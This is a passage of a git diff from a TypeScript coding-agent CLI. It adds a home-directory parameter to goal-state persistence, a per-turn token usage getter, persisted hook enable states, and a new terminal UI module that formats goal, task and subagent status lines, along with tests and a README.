mkdtemp(join(tmpdir(), "goal-state-")); + const home = await mkdtemp(join(tmpdir(), "goal-state-home-")); try { await writeGoalStateRaw( cwd, @@ -81,15 +109,18 @@ describe("goal state persistence", () => { mainTokens: 10, evalTokens: 2, }), + home, ); - expect(await loadGoalState(cwd, "s1")).toBeNull(); + expect(await loadGoalState(cwd, "s1", home)).toBeNull(); } finally { await rm(cwd, { recursive: true, force: true }); + await rm(home, { recursive: true, force: true }); } }); test("rejects a criterion with an unknown status", async () => { const cwd = await mkdtemp(join(tmpdir(), "goal-state-")); + const home = await mkdtemp(join(tmpdir(), "goal-state-home-")); try { await writeGoalStateRaw( cwd, @@ -97,22 +128,27 @@ describe("goal state persistence", () => { JSON.stringify({ status: "active", condition: "tests green", - criteria: [{ id: "c1", title: "typecheck clean", status: "in_review" }], + criteria: [ + { id: "c1", title: "typecheck clean", status: "in_review" }, + ], startedAt: 100, turnBudget: 25, turnsUsed: 3, mainTokens: 10, evalTokens: 2, }), + home, ); - expect(await loadGoalState(cwd, "s1")).toBeNull(); + expect(await loadGoalState(cwd, "s1", home)).toBeNull(); } finally { await rm(cwd, { recursive: true, force: true }); + await rm(home, { recursive: true, force: true }); } }); test("rejects a criterion with an empty title", async () => { const cwd = await mkdtemp(join(tmpdir(), "goal-state-")); + const home = await mkdtemp(join(tmpdir(), "goal-state-home-")); try { await writeGoalStateRaw( cwd, @@ -127,10 +163,12 @@ describe("goal state persistence", () => { mainTokens: 10, evalTokens: 2, }), + home, ); - expect(await loadGoalState(cwd, "s1")).toBeNull(); + expect(await loadGoalState(cwd, "s1", home)).toBeNull(); } finally { await rm(cwd, { recursive: true, force: true }); + await rm(home, { recursive: true, force: true }); } }); }); diff --git a/src/session/goal-state.ts b/src/session/goal-state.ts index 1025ad098..70d3c3ff2 100644 --- a/src/session/goal-state.ts +++ b/src/session/goal-state.ts @@ -1,4 +1,5 @@ import { mkdir, writeFile, readFile, rename, unlink } from "node:fs/promises"; +import { homedir } from "node:os"; import { dirname, join } from "node:path"; import { type } from "arktype"; @@ -27,8 +28,8 @@ const PersistedGoalStateSchema = type({ export type PersistedGoalState = typeof PersistedGoalStateSchema.infer; -function goalPath(cwd: string, sessionId: string): string { - return join(sessionDir(cwd, sessionId), "goal.json"); +function goalPath(cwd: string, sessionId: string, home: string): string { + return join(sessionDir(cwd, sessionId, home), "goal.json"); } // Returns the parsed state, or the arktype error summary when the shape is @@ -42,8 +43,9 @@ export async function saveGoalState( cwd: string, sessionId: string, state: PersistedGoalState | null, + home: string = homedir(), ): Promise { - const path = goalPath(cwd, sessionId); + const path = goalPath(cwd, sessionId, home); if (state === null || state.status === "inactive" || state.status === "cleared") { try { await unlink(path); @@ -66,8 +68,9 @@ export async function saveGoalState( export async function loadGoalState( cwd: string, sessionId: string, + home: string = homedir(), ): Promise { - const path = goalPath(cwd, sessionId); + const path = goalPath(cwd, sessionId, home); try { const raw = await readFile(path, "utf8"); const parsed = parsePersistedGoal(JSON.parse(raw)); @@ -99,8 +102,9 @@ export async function writeGoalStateRaw( cwd: string, sessionId: string, content: string, + home: string = homedir(), ): Promise { - const path = goalPath(cwd, sessionId); + const path = goalPath(cwd, sessionId, home); await mkdir(dirname(path), { recursive: true }); const tmp = `${path}.${process.pid}.tmp`; await writeFile(tmp, content); diff --git a/src/session/hooks.ts b/src/session/hooks.ts index 586d0fa09..429aaa7dc 100644 --- a/src/session/hooks.ts +++ b/src/session/hooks.ts @@ -185,6 +185,10 @@ export function createTurnContextCollector( getTurns(): TurnContext[]; getTurnCount(): number; getTokenUsage(): TokenUsage; + // Usage reported for the most recent turn alone (not summed across turns), + // since a provider's per-turn `input` already reflects the whole resent + // conversation — the right basis for "how full is the context window now." + getLastTurnUsage(): TokenUsage; getToolCallCount(): number; } { const retainHistory = options.retainHistory ?? true; @@ -193,6 +197,7 @@ export function createTurnContextCollector( let pending: PendingTurn | null = null; let cycleStartedAt = now(); let tokenUsage: TokenUsage = { ...emptyUsage }; + let lastTurnUsage: TokenUsage = { ...emptyUsage }; let toolCallCount = 0; function completePending(): void { @@ -238,6 +243,7 @@ export function createTurnContextCollector( })); toolCallCount += toolCalls.length; tokenUsage = addUsage(tokenUsage, event.data.usage); + lastTurnUsage = event.data.usage; pending = { startedAt: cycleStartedAt, turnIndex: turnCount, @@ -265,6 +271,9 @@ export function createTurnContextCollector( getTokenUsage(): TokenUsage { return { ...tokenUsage }; }, + getLastTurnUsage(): TokenUsage { + return { ...lastTurnUsage }; + }, getToolCallCount(): number { return toolCallCount; }, @@ -300,12 +309,16 @@ export function createLifecycleHookManager(args: { hooks: LifecycleHook[]; onEvent?: (event: LifecycleHookEvent) => void; logError?: (message: string) => void; + // Persisted enable/disable state, keyed by hook id. A hook absent here starts + // enabled, matching discovery's default before any state was ever saved. + initialEnabled?: Record; }): LifecycleHookManager { const onEvent = args.onEvent ?? (() => {}); const logError = args.logError ?? (() => {}); + const initialEnabled = args.initialEnabled ?? {}; const statuses = new Map(); for (const hook of args.hooks) { - statuses.set(hook.id, { ...hook, enabled: true }); + statuses.set(hook.id, { ...hook, enabled: initialEnabled[hook.id] ?? true }); } function snapshot(): LifecycleHookStatus[] { diff --git a/src/session/run-sink.test.ts b/src/session/run-sink.test.ts index 21b991eb3..9d0328cf5 100644 --- a/src/session/run-sink.test.ts +++ b/src/session/run-sink.test.ts @@ -77,6 +77,27 @@ describe("createRunSink", () => { expect(runSink.getTokenUsage()).toEqual({ input: 1, output: 1, cacheRead: 0, cacheWrite: 0, thinking: 0 }); }); + test("getLastTurnUsage reports the latest turn alone, not the running sum", () => { + const runSink = createRunSink({ + emitter: new EventEmitter(), + hookManager: stubHookManager([]), + }); + + runSink.sink(event("inference.done", { + turn: { role: "assistant", content: [], model: "test", timestamp: 0 }, + usage: { input: 100, output: 10, cacheRead: 0, cacheWrite: 0, thinking: 0 }, + source: { provider: "test", model: "test" }, + })); + runSink.sink(event("inference.done", { + turn: { role: "assistant", content: [], model: "test", timestamp: 0 }, + usage: { input: 150, output: 20, cacheRead: 5, cacheWrite: 0, thinking: 0 }, + source: { provider: "test", model: "test" }, + })); + + expect(runSink.getTokenUsage()).toEqual({ input: 250, output: 30, cacheRead: 5, cacheWrite: 0, thinking: 0 }); + expect(runSink.getLastTurnUsage()).toEqual({ input: 150, output: 20, cacheRead: 5, cacheWrite: 0, thinking: 0 }); + }); + // Regression: exec finish metrics must not dereference getTurnCollector() // when hooks are absent — that path returns null and crashed evals with // "null is not an object (evaluating 'turnCollector.getTurnCount')". diff --git a/src/session/run-sink.ts b/src/session/run-sink.ts index 89295ce12..76b3feacd 100644 --- a/src/session/run-sink.ts +++ b/src/session/run-sink.ts @@ -27,6 +27,7 @@ export type RunSink = { getRunError: () => string | undefined; getTurnCount: () => number; getTokenUsage: () => TokenUsage; + getLastTurnUsage: () => TokenUsage; getToolCallCount: () => number; // The full turn history — including tool results — is retained only when a // lifecycle hook is configured to consume it; null otherwise so a hookless @@ -124,6 +125,7 @@ export function createRunSink(args: RunSinkArgs): RunSink { getRunError: () => runError, getTurnCount: () => turnCollector.getTurnCount(), getTokenUsage: () => turnCollector.getTokenUsage(), + getLastTurnUsage: () => turnCollector.getLastTurnUsage(), getToolCallCount: () => turnCollector.getToolCallCount(), getTurnCollector: () => (hasConfiguredHooks() ? turnCollector : null), reset: () => { diff --git a/src/settings.test.ts b/src/settings.test.ts index 11258e8fd..1681500f5 100644 --- a/src/settings.test.ts +++ b/src/settings.test.ts @@ -257,6 +257,10 @@ describe("validators", () => { ).toBe(false); }); + test("isSettings accepts showPromptCost", () => { + expect(isSettings({ providers: firepass.providers, showPromptCost: true })).toBe(true); + }); + test("isLocalSettings rejects credentials", () => { expect(isLocalSettings({ provider: "a", apiKey: "leak" })).toBe(false); }); @@ -766,6 +770,17 @@ describe("maxConcurrentSubAgents", () => { expect(resolveMaxConcurrentSubAgents({ providers: {} })).toBe(10); }); + test("loadSettings round-trips showPromptCost", async () => { + const dir = await mkdtemp(join(tmpdir(), "ic-settings-")); + try { + const path = join(dir, ".corbits", "settings.json"); + await saveGlobalSettings(path, { ...firepass, showPromptCost: true }); + expect(await loadSettings(path)).toEqual({ ...firepass, showPromptCost: true }); + } finally { + await rm(dir, { recursive: true, force: true }); + } + }); + test("loadSettings round-trips maxConcurrentSubAgents", async () => { const dir = await mkdtemp(join(tmpdir(), "ic-settings-")); try { diff --git a/src/subagent/run.ts b/src/subagent/run.ts index c256a8129..de8d69b8e 100644 --- a/src/subagent/run.ts +++ b/src/subagent/run.ts @@ -558,7 +558,7 @@ async function runSubAgentInner(params: RunSubAgentParams): Promise { streamPromise = consumeStream(agent.stream(), streamSink); // Aborting the send signal only rejects the promise; the child reactor keeps - // running until close() (same hard-stop rule as the parent in runner.tsx). + // running until close() (same hard-stop rule as the parent in runner.ts). closeOnAbort = (): void => { void (async () => { try { diff --git a/src/telemetry/singleton.ts b/src/telemetry/singleton.ts index fa4b9ba0b..740aa3dbc 100644 --- a/src/telemetry/singleton.ts +++ b/src/telemetry/singleton.ts @@ -1,7 +1,7 @@ import type { Telemetry } from "./index.js"; // Process-wide telemetry handle. index.ts constructs the real instance once -// at startup; runner.tsx and the /settings Telemetry tab read it from here rather +// at startup; runner.ts and the /settings Telemetry tab read it from here rather // than threading it through every intermediate call site. Defaults to a // disabled no-op so any code path that runs before index.ts sets it (or in // tests) never throws. diff --git a/src/telemetry/toggle.ts b/src/telemetry/toggle.ts index 674c2861e..39544f2cb 100644 --- a/src/telemetry/toggle.ts +++ b/src/telemetry/toggle.ts @@ -38,7 +38,7 @@ const defaultDeps: TelemetryToggleDeps = { }; // Builds the /settings > Telemetry toggle handler, bound to the true global -// settings path (never a --config override — see index.ts / runner.tsx for +// settings path (never a --config override — see index.ts / runner.ts for // why). Returned as a plain function so it can be wired into onChange props // without an inline closure, and so tests can call it directly with fake deps. export function createTelemetryToggleHandler( diff --git a/src/tools/web-search.test.ts b/src/tools/web-search.test.ts index 4c7f62c1a..782019c1c 100644 --- a/src/tools/web-search.test.ts +++ b/src/tools/web-search.test.ts @@ -38,6 +38,9 @@ beforeEach(() => { afterEach(async () => { await disposeWebSearchClients(); + // Leave no provider selection behind for whatever file runs next. + delete process.env.CORBITS_WEB_SEARCH_PROVIDER; + delete process.env.CORBITS_WEB_SEARCH_API_KEY; }); describe("resolveWebSearchProvider", () => { diff --git a/src/tui-opentui/README.md b/src/tui-opentui/README.md new file mode 100644 index 000000000..db24a23a5 --- /dev/null +++ b/src/tui-opentui/README.md @@ -0,0 +1,74 @@ +# tui-opentui + +Platform kit for the OpenTUI shell on the `migration/opentui-tui` branch. Pure TypeScript modules and later Solid surfaces live here; this tree is **not** wired to the `corbits` CLI entry yet (Ink remains production until later migration tasks). + +## Modules + +| Path | Role | +|---|---| +| `geometry/` | Pure zone registry + `resolveGeometry` | +| `focus/` | Focus tree + scroll lease state machine | +| `list-viewport.ts` | Pure list windowing kit | +| `chrome-state.ts` | Live goal/task/agents → `setChromeZones` lines | +| `shell.ts` | App shell frame (`createAppShell`) — OpenTUI **core class** API | + +## Live chrome zones + +Product host owns goal / work / subagent state and pushes snapshots (event or poll): + +```ts +import { formatChromeZones, setChromeZones } from "./index" + +// On goal/task/subagent change: +setChromeZones(shell, formatChromeZones({ + goal: { title: "ship cutover", phase: "implementing", status: "active" }, + task: { title: "wire host", status: "doing", remaining: 1 }, + agents: [{ agentId: "explore", description: "map callers", status: "running" }], +})) +// null lines hide the zone; geometry measures heights (never guessed here). +``` + +## Live subagent observe + +Host enters with real child rows + label; appends child events while focused; Esc restores parent. + +```ts +import { + appendObserveStreamRow, + appendStreamRow, + enterSubagentObserve, + leaveSubagentObserve, +} from "./shell" + +enterSubagentObserve(shell, { + sessionId: child.id, + agentId: child.agentId, + description: child.description, + lines: childRows, // live seed from store +}) +// Child deltas while observing: +appendObserveStreamRow(shell, { role: "assistant", text: "…" }) +// Parent reactor events still use appendStreamRow — they land on the parent +// snapshot and reappear on leave (not mixed into the child view). +appendStreamRow(shell, parentRow) +// Esc or: +leaveSubagentObserve(shell) +``` + +Demo/fixture path (`makeObserveFixture`) is unchanged for `v` / palette observe. + +## App shell + +```ts +import { createAppShell, appendTranscript } from "./shell" + +// renderer from createCliRenderer() or createTestRenderer() +const shell = createAppShell(renderer, { title: "corbits" }) +appendTranscript(shell, "hello") +// Tab toggles prompt ↔ transcript focus via focus module +// stickyScroll follows bottom until operator scrolls up (FOLLOW / PINNED) +``` + +Interactive demo (TTY): `bun src/tui-opentui/demo.ts` + +Binding for the shell frame: **core-class** (not Solid) — VNode ScrollBox broke `scrollTop` in the spike; class `ScrollBoxRenderable` is required for sticky/scroll leases. diff --git a/src/tui-opentui/chrome-state.test.ts b/src/tui-opentui/chrome-state.test.ts new file mode 100644 index 000000000..2f703ba5b --- /dev/null +++ b/src/tui-opentui/chrome-state.test.ts @@ -0,0 +1,343 @@ +import { describe, expect, test } from "bun:test" +import { + annotateAgentTools, + chromeFromSession, + formatAgentsLine, + formatChromeZones, + formatGoalLine, + formatTaskLine, + type ChromeLiveState, +} from "./chrome-state" + +describe("formatChromeZones", () => { + test("empty state hides all zones", () => { + expect(formatChromeZones({})).toEqual({ + goal: null, + task: null, + agents: null, + }) + expect( + formatChromeZones({ + goal: null, + task: null, + agents: null, + observe: null, + }), + ).toEqual({ + goal: null, + task: null, + agents: null, + }) + }) + + test("partial: goal only", () => { + const out = formatChromeZones({ + goal: { + title: "Wave 7 residual surfaces", + phase: "implementing", + status: "active", + progress: { done: 1, total: 3 }, + }, + }) + expect(out.goal).toBe("goal: impl · 1/3 · Wave 7 residual surfaces") + expect(out.task).toBeNull() + expect(out.agents).toBeNull() + }) + + test("partial: task string only", () => { + const out = formatChromeZones({ task: "cutover readiness" }) + expect(out.goal).toBeNull() + expect(out.task).toBe("task: cutover readiness") + expect(out.agents).toBeNull() + }) + + test("full state formats all three zones", () => { + const state: ChromeLiveState = { + goal: { + title: "1:1 OpenTUI cutover", + phase: "reviewing", + status: "active", + progress: { done: 2, total: 4 }, + }, + task: { + title: "chrome live helper", + status: "doing", + remaining: 2, + }, + agents: [ + { + agentId: "explore", + description: "map setChromeZones callers", + status: "running", + currentToolName: "grep", + }, + { + agentId: "general", + description: "write tests", + status: "done", + }, + ], + } + const out = formatChromeZones(state) + expect(out.goal).toBe("goal: review · 2/4 · 1:1 OpenTUI cutover") + expect(out.task).toBe("task: chrome live helper (+2)") + expect(out.agents).toContain("1 live") + expect(out.agents).toContain("explore:") + expect(out.agents).toContain("grep") + expect(out.agents).toContain("1 done") + }) + + test("observe overrides agents line", () => { + const out = formatChromeZones({ + agents: [ + { + agentId: "explore", + description: "map callers", + status: "running", + }, + ], + observe: { + agentId: "explore", + description: "map callers of openListOverlay", + }, + }) + expect(out.agents).toBe( + "observe: explore — map callers of openListOverlay", + ) + }) +}) + +describe("formatGoalLine", () => { + test("null / empty / inactive hide", () => { + expect(formatGoalLine(null)).toBeNull() + expect(formatGoalLine(undefined)).toBeNull() + expect(formatGoalLine({ title: " " })).toBeNull() + expect( + formatGoalLine({ title: "x", status: "inactive" }), + ).toBeNull() + expect(formatGoalLine({ title: "x", status: "cleared" })).toBeNull() + }) + + test("achieved freezes completed label", () => { + expect( + formatGoalLine({ + title: "ship cutover", + status: "achieved", + phase: "completed", + }), + ).toBe("goal: completed · ship cutover") + }) + + test("paused surfaces status", () => { + expect( + formatGoalLine({ + title: "ship cutover", + phase: "implementing", + status: "paused", + }), + ).toBe("goal: impl · paused · ship cutover") + }) + + test("title only", () => { + expect(formatGoalLine({ title: "solo brief" })).toBe( + "goal: solo brief", + ) + }) +}) + +describe("formatTaskLine", () => { + test("string / empty", () => { + expect(formatTaskLine(null)).toBeNull() + expect(formatTaskLine("")).toBeNull() + expect(formatTaskLine(" ")).toBeNull() + expect(formatTaskLine("wire host")).toBe("task: wire host") + }) + + test("structured with remaining", () => { + expect( + formatTaskLine({ + title: "format chrome", + status: "doing", + remaining: 1, + }), + ).toBe("task: format chrome (+1)") + }) + + test("terminal structured hides", () => { + expect( + formatTaskLine({ title: "done item", status: "done" }), + ).toBeNull() + }) + + test("rows pick doing and remaining", () => { + expect( + formatTaskLine([ + { title: "first", status: "done" }, + { title: "second", status: "doing" }, + { title: "third", status: "todo" }, + ]), + ).toBe("task: second (+1)") + }) + + test("rows all terminal hide", () => { + expect( + formatTaskLine([ + { title: "a", status: "done" }, + { title: "b", status: "cancelled" }, + ]), + ).toBeNull() + }) + + test("does not double-prefix", () => { + expect(formatTaskLine("task: already prefixed")).toBe( + "task: already prefixed", + ) + }) +}) + +describe("formatAgentsLine", () => { + test("empty hides", () => { + expect(formatAgentsLine(null)).toBeNull() + expect(formatAgentsLine([])).toBeNull() + }) + + test("multi live summary without single-agent detail", () => { + expect( + formatAgentsLine([ + { + agentId: "a", + description: "one", + status: "running", + }, + { + agentId: "b", + description: "two", + status: "running", + }, + ]), + ).toBe("agents: 2 live") + }) + + test("terminal-only list still counts", () => { + expect( + formatAgentsLine([ + { agentId: "a", description: "x", status: "done" }, + { agentId: "b", description: "y", status: "failed" }, + ]), + ).toBe("agents: 1 done · 1 failed") + }) + + test("observe empty id+desc hides", () => { + expect( + formatAgentsLine([], { agentId: " ", description: " " }), + ).toBeNull() + }) +}) + +describe("chromeFromSession", () => { + test("maps goal governor / tasks / agents loosely", () => { + const state = chromeFromSession({ + goal: { + brief: "ship cutover", + status: "active", + phase: "implementing", + criteria: [ + { status: "done" }, + { status: "todo" }, + { status: "cancelled" }, + ], + }, + tasks: [ + { title: "wire catalogs", status: "doing" }, + { title: "export index", status: "todo" }, + ], + agents: [ + { + agentId: "explore", + description: "map callers", + status: "running", + currentToolName: "grep", + }, + ], + }) + + expect(state.goal).toEqual({ + title: "ship cutover", + status: "active", + phase: "implementing", + progress: { done: 1, total: 2 }, + }) + expect(state.task).toEqual([ + { title: "wire catalogs", status: "doing" }, + { title: "export index", status: "todo" }, + ]) + expect(state.agents).toEqual([ + { + agentId: "explore", + description: "map callers", + status: "running", + currentToolName: "grep", + }, + ]) + + const zones = formatChromeZones(state) + expect(zones.goal).toBe("goal: impl · 1/2 · ship cutover") + expect(zones.task).toBe("task: wire catalogs (+1)") + expect(zones.agents).toContain("1 live") + }) + + test("falls back agent id and goal condition; empty bags hide", () => { + const state = chromeFromSession({ + goal: { condition: "all tests green", status: "active" }, + tasks: [], + agents: [ + { + id: "sess-1", + description: "write tests", + status: "done", + }, + ], + }) + expect(state.goal?.title).toBe("all tests green") + expect(state.task).toBeNull() + expect(state.agents?.[0]?.agentId).toBe("sess-1") + }) + + test("null goal clears; observe passes through", () => { + const state = chromeFromSession({ + goal: null, + observe: { agentId: "explore", description: "watch" }, + }) + expect(state.goal).toBeNull() + expect(state.observe).toEqual({ + agentId: "explore", + description: "watch", + }) + expect(formatChromeZones(state).agents).toBe( + "observe: explore — watch", + ) + }) +}) + + +describe("annotateAgentTools", () => { + const state: ChromeLiveState = { + agents: [ + { agentId: "explore", description: "map callers", status: "running" }, + { agentId: "review", description: "map callers", status: "done" }, + ], + } + + test("running agents pick up the live tool name", () => { + const tools = new Map([["map callers", "grep"]]) + const next = annotateAgentTools(state, tools) + expect(next.agents?.[0]?.currentToolName).toBe("grep") + expect(next.agents?.[1]?.currentToolName).toBeUndefined() + }) + + test("unknown descriptions and empty maps leave the state alone", () => { + expect(annotateAgentTools(state, new Map())).toBe(state) + const next = annotateAgentTools(state, new Map([["other work", "grep"]])) + expect(next.agents?.[0]?.currentToolName).toBeUndefined() + }) +}) diff --git a/src/tui-opentui/chrome-state.ts b/src/tui-opentui/chrome-state.ts new file mode 100644 index 000000000..b52d5c623 --- /dev/null +++ b/src/tui-opentui/chrome-state.ts @@ -0,0 +1,430 @@ +/** + * Live chrome zone formatter for setChromeZones. + * + * Pure: structured session state → one-line goal / task / agents strings. + * Heights stay with geometry (zones max 1 row each); this module never + * invents row budgets. + * + * ## Product host push contract + * + * The shell does not poll. The product host owns live state (goal governor, + * task list, subagent store) and pushes a full snapshot whenever any of those + * change: + * + * setChromeZones(shell, formatChromeZones(snapshot)) + * + * Preferred: subscribe to store/governor change events (or a single + * session-tick emitter) and re-format on each notification. Polling is fine + * only as a temporary bridge (e.g. 100–250 ms timer while wiring events). + * + * Always pass the full snapshot so absent zones clear (`null` hides the zone). + * Partial object fields mean “no data” → that zone line is null, not left + * stale. Observe mode can override the agents line via `state.observe`. + */ + +import type { ChromeZoneContent } from "./shell.js" + +/** Subagent row shape for the agents chrome line (store-agnostic). */ +export type ChromeAgentSession = { + readonly agentId: string + readonly description: string + readonly status: "running" | "done" | "failed" | "cancelled" + /** Current tool while running (optional detail). */ + readonly currentToolName?: string | null +} + +/** + * Goal chrome input — title + optional lifecycle fields. + * Inactive / cleared / empty title → zone hidden. + */ +export type ChromeGoalState = { + /** Brief or condition text shown after the phase/status prefix. */ + readonly title: string + /** Autonomy status: active, paused, achieved, blocked, … */ + readonly status?: string + /** Lifecycle phase: planning | implementing | reviewing | completed */ + readonly phase?: string + /** Acceptance progress when criteria exist. */ + readonly progress?: { readonly done: number; readonly total: number } | null +} + +/** + * Task / Work chrome input. + * Empty title or all-terminal lists → zone hidden when formatting from tasks[]. + */ +export type ChromeTaskState = { + /** Current doing (or next todo) title. */ + readonly title: string + readonly status?: "todo" | "doing" | "done" | "cancelled" + /** Other active tasks beyond the current one. */ + readonly remaining?: number +} + +/** Lightweight task row for list → compact line. */ +export type ChromeTaskRow = { + readonly title: string + readonly status: "todo" | "doing" | "done" | "cancelled" +} + +/** + * Full live chrome snapshot. Missing / null fields hide that zone. + * Prefer pushing a complete snapshot on every update. + */ +export type ChromeLiveState = { + readonly goal?: ChromeGoalState | null + /** + * Compact task line: string shorthand, structured current task, or a list + * of work rows (formatter picks the active item like Ink TaskView compact). + */ + readonly task?: ChromeTaskState | ChromeTaskRow[] | string | null + /** Subagent sessions for the strip summary (running preferred). */ + readonly agents?: readonly ChromeAgentSession[] | null + /** + * When set, agents line becomes observe chrome (matches enterSubagentObserve). + * Pass null/omit when not observing. + */ + readonly observe?: { + readonly agentId: string + readonly description: string + } | null +} + +/** Always-populated result for setChromeZones (null = hide zone). */ +export type FormattedChromeZones = { + readonly goal: string | null + readonly task: string | null + readonly agents: string | null +} + +const PHASE_SHORT: Record = { + planning: "plan", + implementing: "impl", + reviewing: "review", + completed: "done", +} + +/** + * Format structured live state into chrome zone lines for setChromeZones. + * + * Empty / partial / inactive inputs yield null for the corresponding zone + * so geometry collapses that strip (idleDefault 0). + */ +export function formatChromeZones(state: ChromeLiveState): FormattedChromeZones { + return { + goal: formatGoalLine(state.goal), + task: formatTaskLine(state.task), + agents: formatAgentsLine(state.agents, state.observe), + } +} + +/** + * Convenience: format then assign to shell. Equivalent to + * `setChromeZones(shell, formatChromeZones(state))` when the host already + * holds a setChromeZones reference. + */ +export function chromeZonesContent(state: ChromeLiveState): ChromeZoneContent { + return formatChromeZones(state) +} + +export function formatGoalLine( + goal: ChromeGoalState | null | undefined, +): string | null { + if (goal === null || goal === undefined) return null + const title = goal.title.trim() + if (title.length === 0) return null + + const status = goal.status?.trim().toLowerCase() + if (status === "inactive" || status === "cleared") return null + + if (status === "achieved" || goal.phase === "completed") { + return compactLine("goal", `completed · ${title}`) + } + + const parts: string[] = [] + if (goal.phase !== undefined && goal.phase.length > 0) { + parts.push(PHASE_SHORT[goal.phase] ?? goal.phase) + } + const progress = goal.progress + if ( + progress !== undefined && + progress !== null && + progress.total > 0 + ) { + parts.push(`${progress.done}/${progress.total}`) + } + if ( + status !== undefined && + status.length > 0 && + status !== "active" + ) { + parts.push(status) + } + parts.push(title) + return compactLine("goal", parts.join(" · ")) +} + +export function formatTaskLine( + task: ChromeTaskState | ChromeTaskRow[] | string | null | undefined, +): string | null { + if (task === null || task === undefined) return null + + if (typeof task === "string") { + const t = task.trim() + return t.length === 0 ? null : compactLine("task", t) + } + + if (Array.isArray(task)) { + return formatTaskLineFromRows(task) + } + + const title = task.title.trim() + if (title.length === 0) return null + if (task.status === "done" || task.status === "cancelled") return null + + const remaining = + task.remaining !== undefined && task.remaining > 0 + ? ` (+${task.remaining})` + : "" + return compactLine("task", `${title}${remaining}`) +} + +function formatTaskLineFromRows(rows: readonly ChromeTaskRow[]): string | null { + const active = rows.filter( + (t) => t.status !== "done" && t.status !== "cancelled", + ) + if (active.length === 0) return null + const doing = active.find((t) => t.status === "doing") + const current = doing ?? active[0]! + const title = current.title.trim() + if (title.length === 0) return null + const remaining = active.length - 1 + const suffix = remaining > 0 ? ` (+${remaining})` : "" + return compactLine("task", `${title}${suffix}`) +} + +export function formatAgentsLine( + agents: readonly ChromeAgentSession[] | null | undefined, + observe?: ChromeLiveState["observe"], +): string | null { + if (observe !== null && observe !== undefined) { + const id = observe.agentId.trim() + const desc = observe.description.trim() + if (id.length === 0 && desc.length === 0) return null + const label = + id.length > 0 && desc.length > 0 + ? `${id} — ${desc}` + : id.length > 0 + ? id + : desc + return `observe: ${label}` + } + + if (agents === null || agents === undefined || agents.length === 0) { + return null + } + + const running = agents.filter((s) => s.status === "running") + const done = agents.filter((s) => s.status === "done").length + const failed = agents.filter((s) => s.status === "failed").length + const cancelled = agents.filter((s) => s.status === "cancelled").length + + const parts: string[] = [] + if (running.length > 0) { + parts.push(`${running.length} live`) + } + if (done > 0) parts.push(`${done} done`) + if (failed > 0) parts.push(`${failed} failed`) + if (cancelled > 0) parts.push(`${cancelled} cancelled`) + + // Prefer a summary count line; when a single agent is live, add its label. + if (running.length === 1) { + const s = running[0]! + const tool = + s.currentToolName !== undefined && + s.currentToolName !== null && + s.currentToolName.length > 0 + ? ` · ${s.currentToolName}` + : "" + const label = `${s.agentId}: ${s.description}${tool}`.trim() + if (label.length > 2) { + // "agents: 1 live · explore: map callers" + const summary = parts.length > 0 ? parts.join(" · ") : "1 live" + return compactLine("agents", `${summary} · ${label}`) + } + } + + if (parts.length === 0) { + // Only terminal sessions present — still show a count so inspect chrome + // can surface "agents: 2 done" when host passes full listForStrip(). + return compactLine("agents", `${agents.length}`) + } + return compactLine("agents", parts.join(" · ")) +} + +/** + * Overlay live per-agent tool names onto the agents zone. + * + * The subagent store records what a worker was asked to do, never what it is + * doing right now — that arrives only as `subagent.progress`. Keying by + * description is what the emitter gives us: progress carries the worker's + * description and tool name, not its agent id. + */ +export function annotateAgentTools( + state: ChromeLiveState, + toolByDescription: ReadonlyMap, +): ChromeLiveState { + const agents = state.agents + if (agents === null || agents === undefined || toolByDescription.size === 0) { + return state + } + return { + ...state, + agents: agents.map((a) => { + if (a.status !== "running") return a + const tool = toolByDescription.get(a.description) + return tool === undefined ? a : { ...a, currentToolName: tool } + }), + } +} + +function compactLine(prefix: string, body: string): string { + const b = body.trim() + if (b.length === 0) return `${prefix}:` + // Avoid double-prefix if host already included it. + if (b.toLowerCase().startsWith(`${prefix}:`)) return b + return `${prefix}: ${b}` +} + +// --------------------------------------------------------------------------- +// Session-shaped → ChromeLiveState (loose mapping for product host push) +// --------------------------------------------------------------------------- + +/** + * Loose goal governor snapshot fields. Accepts GoalSnapshot-like objects + * without importing agent/goal (brief/condition/criteria/status/phase). + */ +export type ChromeSessionGoal = { + readonly brief?: string + readonly condition?: string + readonly title?: string + readonly status?: string + readonly phase?: string + readonly criteria?: readonly { + readonly status: string + }[] +} + +/** manage_tasks / Task-shaped row (title + status). */ +export type ChromeSessionTask = { + readonly title: string + readonly status: "todo" | "doing" | "done" | "cancelled" +} + +/** + * SubAgentSession-shaped strip row. `agentId` preferred; falls back to `id` + * when the store only exposes a session id. + */ +export type ChromeSessionAgent = { + readonly agentId?: string + readonly id?: string + readonly description: string + readonly status: "running" | "done" | "failed" | "cancelled" + readonly currentToolName?: string | null +} + +/** + * Live session bags the product host already holds. Missing fields omit zones. + */ +export type ChromeSessionInput = { + readonly goal?: ChromeSessionGoal | null + readonly tasks?: readonly ChromeSessionTask[] | null + readonly agents?: readonly ChromeSessionAgent[] | null + readonly observe?: ChromeLiveState["observe"] +} + +/** + * Map real session shapes (goal governor / tasks / subagent store) into + * ChromeLiveState for `formatChromeZones` / `setChrome`. + * + * Pure and store-agnostic — pass whatever the host already has; loose fields + * are ignored when absent. + */ +export function chromeFromSession(input: ChromeSessionInput): ChromeLiveState { + const goal = mapSessionGoal(input.goal) + const task = mapSessionTasks(input.tasks) + const agents = mapSessionAgents(input.agents) + const observe = input.observe ?? null + + return { + ...(goal !== undefined ? { goal } : {}), + ...(task !== undefined ? { task } : {}), + ...(agents !== undefined ? { agents } : {}), + ...(observe !== null && observe !== undefined ? { observe } : {}), + } +} + +function mapSessionGoal( + goal: ChromeSessionGoal | null | undefined, +): ChromeGoalState | null | undefined { + if (goal === undefined) return undefined + if (goal === null) return null + + const title = ( + goal.title ?? + goal.brief ?? + goal.condition ?? + "" + ).trim() + if (title.length === 0) return null + + const progress = progressFromCriteria(goal.criteria) + return { + title, + ...(goal.status !== undefined ? { status: goal.status } : {}), + ...(goal.phase !== undefined ? { phase: goal.phase } : {}), + ...(progress !== undefined ? { progress } : {}), + } +} + +function progressFromCriteria( + criteria: ChromeSessionGoal["criteria"], +): { done: number; total: number } | undefined { + if (criteria === undefined || criteria.length === 0) return undefined + const countable = criteria.filter((c) => c.status !== "cancelled") + if (countable.length === 0) return undefined + const done = countable.filter((c) => c.status === "done").length + return { done, total: countable.length } +} + +function mapSessionTasks( + tasks: readonly ChromeSessionTask[] | null | undefined, +): ChromeTaskRow[] | null | undefined { + if (tasks === undefined) return undefined + if (tasks === null) return null + if (tasks.length === 0) return null + return tasks.map((t) => ({ + title: t.title, + status: t.status, + })) +} + +function mapSessionAgents( + agents: readonly 